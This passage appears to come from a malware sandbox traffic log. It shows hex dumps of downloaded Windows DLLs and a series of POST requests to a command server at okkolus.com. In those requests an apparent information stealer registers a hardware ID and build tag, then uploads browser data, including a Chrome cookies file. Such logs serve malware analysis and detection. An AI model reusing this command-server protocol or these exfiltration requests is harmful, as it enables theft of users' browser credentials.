00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:52:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "94750-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 608080Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:52:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "6dde8-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 450024Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:52:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "1f3950-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 2046288Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:53:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "3ef50-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 257872Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 May 2024 00:53:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:49:08 GMTETag: "13bf0-5e7ef2e90e100"Accept-Ranges: bytesContent-Length: 80880Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: okkolus.comContent-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 38 34 39 30 35 36 38 30 36 31 32 37 38 39 35 37 33 32 30 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 75 6e 69 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="hwid"A884905680612789573209------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="build"unik------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: okkolus.comContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"browsers------KJJKEBGHJKFIDGCAAFCA--
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJECHost: okkolus.comContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"plugins------AEBGIEGCFHCFHIDHIJEC--
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: okkolus.comContent-Length: 6247Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dfaf16606234b71d/sqlite3.dll HTTP/1.1Host: okkolus.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /cf5cbdf706840b3f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: okkolus.comContent-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 